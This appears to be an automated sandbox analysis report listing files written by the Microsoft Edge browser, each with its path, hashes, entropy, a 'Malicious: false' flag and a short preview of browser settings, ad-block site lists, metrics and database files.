Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8fc179a4-813f-456f-93c7-e361276637f2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44914
Entropy (8bit):	6.09515843332724
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWcBi1zNt9Xi9vVNxxTU4P6KJDSgzMMd6qD47u3+CiB:+/Ps+wsI7ynEXi9t6KtSmd6qE7lFoC
MD5:	619AB52F00800C714E1CB4738CAC6F2D
SHA1:	827F20CEC8220A2E5945192445C2886131311D21
SHA-256:	A126B16BD25778062B2264D04DE2C4C02A7089584A6CA1AB987D9DE35D880DE9
SHA-512:	4B85D0267C0518E7BA270A2F7F654C865ACB42950C3E23FFBB4442C336576D3ECC2CC95CBE200A3BA44DC25B3A7F92868AE5A66ED214EE159223B8B09B9482CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9bfc425c-961c-45e7-afd1-46d8d1677b3b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44914
Entropy (8bit):	6.09515843332724
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWcBi1zNt9Xi9vVNxxTU4P6KJDSgzMMd6qD47u3+CiB:+/Ps+wsI7ynEXi9t6KtSmd6qE7lFoC
MD5:	619AB52F00800C714E1CB4738CAC6F2D
SHA1:	827F20CEC8220A2E5945192445C2886131311D21
SHA-256:	A126B16BD25778062B2264D04DE2C4C02A7089584A6CA1AB987D9DE35D880DE9
SHA-512:	4B85D0267C0518E7BA270A2F7F654C865ACB42950C3E23FFBB4442C336576D3ECC2CC95CBE200A3BA44DC25B3A7F92868AE5A66ED214EE159223B8B09B9482CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\04dbd04c-995d-4985-870e-d1584fc9ea5c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640173185101434
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7R:fwUQC5VwBIiElEd2K57P7R
MD5:	68DDA50FDB9AF6E86F170412111C6190
SHA1:	B3171ED37DBCB85AA186B62063672E4E3A218DFE
SHA-256:	56E97854FDFA5C5ADFBAA13F061961DDF48BD400882520B4E886CA79A1EC4D65
SHA-512:	71A8FA2B6FB152BCD0FEAB5FC0F21F8B0CC112FEE14D0992E34BB49A86A3AFFDFFB7DA8FB20B75AD0ED28D75EA296ED65726252984B4666190CF12E22719DEF8
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640173185101434
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7R:fwUQC5VwBIiElEd2K57P7R
MD5:	68DDA50FDB9AF6E86F170412111C6190
SHA1:	B3171ED37DBCB85AA186B62063672E4E3A218DFE
SHA-256:	56E97854FDFA5C5ADFBAA13F061961DDF48BD400882520B4E886CA79A1EC4D65
SHA-512:	71A8FA2B6FB152BCD0FEAB5FC0F21F8B0CC112FEE14D0992E34BB49A86A3AFFDFFB7DA8FB20B75AD0ED28D75EA296ED65726252984B4666190CF12E22719DEF8
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676AFD38-8DC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04463337709027542
Encrypted:	false
SSDEEP:	192:Wpi0m5tm6nOAt6YoJgA8x5XSggykfhbNNETeIC/0TQsdiRbmn8y08Tcm2RGOdB:mi0Utpigk9hZJWJiE08T2RGOD
MD5:	86B6431DCB15EBC6A16BB38B3B84B49F
SHA1:	AF889C5A058AB79B43065DB86B46902D30470B6E
SHA-256:	E9DE0885C3A33FA068A5847B5CD61BCDCD0F48C938A9F40826F49585A80EDBDB
SHA-512:	2CDA7A3BA0732ECFA7DA9886F2A2A4E3782F2656D2E5E6BEB75F19421A5DA0E7FAB39B149D8AA487B3079594ED5DE75282D6CFB946D73F7C6366D876E4965504
Malicious:	false
Preview:	...@..@...@.....C.].....@................d...T..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".uleciv20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........9...... .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676AFD42-1128.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04523041212895212
Encrypted:	false
SSDEEP:	192:FPsy0m5tm5nOAt6YcJWpjrZXpAgiT5jhxjNEK4IQdGRQ8RIsRNSn8y08Tcm2RGOD:9X0UtqqqN2hRcuiSo08T2RGOD
MD5:	3A825AE9A409EB5E0426EB2F8D487811
SHA1:	D7C021A8C6AD702ABD9216D1274DF1465B3806BC
SHA-256:	7EB96535419B2CB36F20184A3B83E7D39A795B14E5F3AC46F707BDB4D500B8EE
SHA-512:	477A09AAC40F552C2B525DC83E2107E7B516C501179912C06E46CC68D976841C5AB1DBD162513417796C78BB8496126D21748A8C579921B8DAE682EE9C15318E
Malicious:	false
Preview:	...@..@...@.....C.].....@................f...U..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".uleciv20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U..G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676AFD43-197C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4725669323069106
Encrypted:	false
SSDEEP:	3072:mO9ZjS89XW0WPQrgKUxevRcF2iIyv7/Nd7BXnq6toDJPr2g1HFfo:/ZjRtgKUxURcF/jNlBXnqHDJPr2aHt
MD5:	A7B45E7C20CA636AE6EC274A66382804
SHA1:	FE32A30BACAEAA3FDC0F69F4B5AD109F6B32E876
SHA-256:	6E52F5362B3747E5A23040A6BEE06F581F3A1F2C3131402B2A08E405B234F9FA
SHA-512:	ABECBCBD9EE8CF564B9514C63B4D46517045BBB8A37588A89F2F91352F2FE30C6601A468A85760255476676A38D5BD4B21230A8028A33A3FD30A9CD0109FA5F9
Malicious:	false
Preview:	...@..@...@.....C.].....@................N...N..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".uleciv20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.........m...... .2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.095798522334989
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJH:o1cUh4Y3LbO/BVsJDbYuDRBOyc
MD5:	9F5D8B818C6B2789F5431CE5910342F0
SHA1:	E2F29B4FF99E6C4374DF928837D5461D2D22B52A
SHA-256:	39DCB8CCA33A46C13D75F4B53D9823215501BA1DCF8E6EE8136DBCA706767DC0
SHA-512:	D2C01F75786F51E7CE8405122FE87AD8CC26B30BFA347A98541BFE1ACB6403934948D7BC1790E8EB917D7AAC3671C79FF29E57803C7552A6250B1BB6A4D264DB
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\24556937-3d9b-43ec-a269-e627ca8d60f7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.555030976031749
Encrypted:	false
SSDEEP:	768:YQmzIVW6L7pLGLh24W5wSgf4Hl8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP/EIVqUpZ:YlcVNdch24WaSgfQlu1jaqb/a7k8a3tp
MD5:	FB7D18FC1E4377ABE6DC27C205DF083A
SHA1:	B15D4DE3C2E46DACCA8DEBD36684975D4C25E6ED
SHA-256:	87B38406684118E9F52CB67CC9D5916529852F2EE49B523AF9C871307153C711
SHA-512:	201BE3AC46CF51AB9EE8FB6B9AF29951E7D0C5F7BCB880029964C4F856237B40F195F3E1F7D9B4A6B6A8B52C947774C7CD56C66426A9ED9F125B1779BF76C565
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379538499699763","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379538499699763","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6bcb4022-9ac0-4e0f-a3c1-c5d5fd4638b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16987), with no line terminators
Category:	dropped
Size (bytes):	16989
Entropy (8bit):	5.442761919000962
Encrypted:	false
SSDEEP:	192:stXJ99QTryDigabatSuypTsvVaFvrE9kVNUNffwhtngS7yjasW8ObV+Fh/Qwvese:stXPGKSu4TsvVCDuQgRkbG1QwvAd
MD5:	27A6C3301FC66379D8B43EAFFE55272B
SHA1:	8DD7045965F53C556C9C4E21AEAF51F1B476CE26
SHA-256:	E144C17214CA57BE278FE9F64223A543FF8408D22FAECE3EEADC38A29515CB4B
SHA-512:	4E59B29EE6832E70E04A8DD74D56F8A7BBD3F3BB10A8B69FEF3D327B46EEF29E965AFF6E5AD79FE8D5D6F10165425E51E61F5FA17452A14E5DF9F55D1C7A76A0
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379538500400205","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7073b031-c5f9-4716-bb6a-57b4191cdeab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9756
Entropy (8bit):	5.108335505712741
Encrypted:	false
SSDEEP:	192:stXkdpTsvVaFvrE9kJcW8ObV+Fh/QAsU5PCYJ:stXQTsvVCD5bG1QKd
MD5:	7966B4938865BBADF89F5840E6D8A0A8
SHA1:	C4A33ADF1A37A56CA7ABC7FE93B9456F75FFBE61
SHA-256:	2B1263B97D8721D6CDD31345CC48C5B837DAFD5075555A3C876F9CF49662DFC5
SHA-512:	27F40F81F1755085720EFA1D8B6354AB89CC9CF844DF0CD44E4D5BCDA8887DD2F3F1D583ECB715D420336DF97F4145BB5A60A64107586F278E2D6D32EECF796D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379538500400205","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9f8edf8e-aa66-4c7e-a18f-06e057fd4cd6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.246147573355154
Encrypted:	false
SSDEEP:	6:NdFRs1N723oH+Tcwtp3hBtB2KLlbcL+q2PN723oH+Tcwtp3hBWsIFUv:ReaYebp3dFLLvVaYebp3eFUv
MD5:	235F3C8BF96A636E20E5AEBBA67DDB98
SHA1:	F6BAF8D2ABA4B3355AA71F3B00E1E3DB3DD8FB29
SHA-256:	6041D1D688343D18A2B2F1AC552EAB33A24DFB54B08802AF3AD7D466A5D0CA58
SHA-512:	0375302703E9525506152AABCEF01C06088E9850AC6DA0D49D81C140BCD258F81C25A79EC7349706AF11719BBA1A648B9D65CD5CDC409D8D6D09E6E9751A3950
Malicious:	false
Preview:	2024/12/24-13:28:24.372 678 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/12/24-13:28:24.402 678 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222864168158029
Encrypted:	false
SSDEEP:	24576:IbPMZpVdfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVdfx2mjF
MD5:	645AACC90F695FFABD8B388E7F1542FA
SHA1:	EFD4A7B203CA7207605E147332C0D6643FB0F09D
SHA-256:	C0933F24BB478CE8A4DC498EEBD1D50FECF1F510A4731C251F66A23D97224110
SHA-512:	D5EB15378D64710ECC5D3A2C1DAA5A1A05BA610557D83A464588B4D57BA2512B830803C4580179907DFBD96A81365DAD8C4C44B5B00279649439856E2F81340C
Malicious:	false
